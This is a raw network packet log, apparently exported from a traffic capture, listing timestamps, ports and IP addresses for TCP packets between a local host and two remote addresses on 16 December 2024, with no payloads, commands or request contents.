Dec 16, 2024 15:02:13.232002974 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.232961893 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.233058929 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.233094931 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.233258009 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.233933926 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.233998060 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.234289885 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.234370947 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.235018969 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.235105991 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.235244036 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.235328913 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.236093044 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.236107111 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.236139059 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.236203909 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.237020969 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.237035990 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.237303972 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.238009930 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.238073111 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.238112926 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.238571882 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.239059925 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.239119053 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.239151001 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.239335060 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.240103960 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.240231991 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.240984917 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.241031885 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.241106987 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.241133928 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.241189957 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.241249084 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.242242098 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.242291927 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.242340088 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.242424965 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.243169069 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.243197918 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.243257046 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.244174004 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.244225979 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.244260073 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.244303942 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.245230913 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.245359898 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.245361090 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.245462894 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.246311903 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.246371984 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.246406078 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.246476889 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.247360945 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.247386932 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.247492075 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.248290062 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.248406887 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.248573065 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.248667002 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.249330044 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.249382019 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.249666929 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.249718904 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.250348091 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.250421047 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.402080059 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.402096033 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.402244091 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.402296066 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.402369022 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.402466059 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.402537107 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.403362036 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.403374910 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.403444052 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.403831959 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.403888941 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.403990030 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.404320955 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.404381037 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.404623032 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.404678106 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.406553030 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.406568050 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.406630039 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.406630039 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.407691956 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.407778025 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.407850027 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.407907009 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.408312082 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.408329010 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.408375025 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.408375025 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.409209967 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.409300089 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.409502029 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.409692049 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.410207033 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.410218954 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.410267115 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.411288977 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.411344051 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.412389040 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.412401915 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.412415981 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.412466049 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.412466049 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.413454056 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.413562059 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.414377928 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.414391041 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.414443970 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.414443970 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.414511919 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.414575100 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.415446043 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.415460110 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.415499926 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.415519953 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.416439056 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.416512012 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.416568995 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.416636944 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.417584896 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.417598009 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.417654991 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.418513060 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.418582916 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.418661118 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.418936014 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.419791937 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.419804096 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.419828892 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.419867039 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.420469999 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.420523882 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.420614958 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.420757055 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.421571970 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.421619892 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.421744108 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.421818972 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.422593117 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.422605991 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.422794104 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.423589945 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.423686981 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.424058914 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.424293995 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.424407959 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.424422979 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.424458981 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.424721003 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.424736977 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.424767971 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.424789906 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.425734997 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.425813913 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.426054955 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.426126003 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.426754951 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.426836014 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.427191019 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.427284002 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.427805901 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.427854061 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.427927971 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.428078890 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.428792953 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.428932905 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.429306030 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.429393053 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.430247068 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.430296898 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.430424929 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.430468082 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.430953979 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.431011915 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.431031942 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.431087017 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.431894064 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.431957960 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.432949066 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.432964087 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.432971001 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.433015108 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.433938026 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.434056044 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.434111118 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.434159040 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.435009003 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.435022116 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.435139894 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.437041044 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.437055111 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.437067986 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.437119961 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.437119961 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.437175035 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.437217951 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.438080072 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.438093901 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.438134909 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.439102888 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.439239979 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.439251900 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.439295053 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.440074921 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.440155029 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.440959930 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.441005945 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.441106081 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.441226006 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.441430092 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.441488028 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.442147017 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.442236900 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.443054914 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.443105936 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.443219900 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.443232059 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.443268061 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.444216967 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.444241047 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.444264889 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.444395065 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.445360899 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.445374012 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.445405960 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.445429087 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.446213007 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.446280003 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.447516918 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.447539091 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.447551966 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.447594881 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.447596073 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.448297977 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.448312044 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.448523998 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.449352980 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.449379921 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.449399948 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.449502945 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.450325966 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.450490952 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.451967955 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.452052116 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.452805042 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.452817917 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.452884912 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.452950954 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.452964067 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.453048944 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.454271078 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.454283953 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.454334974 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.454334974 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.454683065 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.454765081 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.519249916 CET	49878	443	192.168.2.6	20.198.118.190
Dec 16, 2024 15:02:13.519289970 CET	443	49878	20.198.118.190	192.168.2.6
Dec 16, 2024 15:02:13.519383907 CET	49878	443	192.168.2.6	20.198.118.190
Dec 16, 2024 15:02:13.519989967 CET	49878	443	192.168.2.6	20.198.118.190
Dec 16, 2024 15:02:13.520009041 CET	443	49878	20.198.118.190	192.168.2.6
Dec 16, 2024 15:02:13.592902899 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.592959881 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.593018055 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.593435049 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.593511105 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.593799114 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.594167948 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.594242096 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.594845057 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.594966888 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.595283031 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.595295906 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.595345020 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.595345020 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.596312046 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.596446991 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.596522093 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.597261906 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.597378016 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.597521067 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.597654104 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.598443031 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.598454952 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.598591089 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.599354029 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.599958897 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.600092888 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.600462914 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.600475073 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.600552082 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.601440907 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.601454020 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.601519108 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.601519108 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.602380037 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.602624893 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.603476048 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.603487968 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.603502035 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.603548050 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.603548050 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.604485989 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.604499102 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.604557991 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.605865002 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.605983973 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.606301069 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.606352091 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.606544971 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.606558084 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.606626034 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.607564926 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.607768059 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.607769012 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.607836008 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.608567953 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.608617067 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.609107971 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.609158039 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.609576941 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.609618902 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.609697104 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.609752893 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.610586882 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.610630989 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.610696077 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.610696077 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.611660004 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.611768961 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.611809969 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.611809969 CET	49867	80	192.168.2.6	185.215.113.16
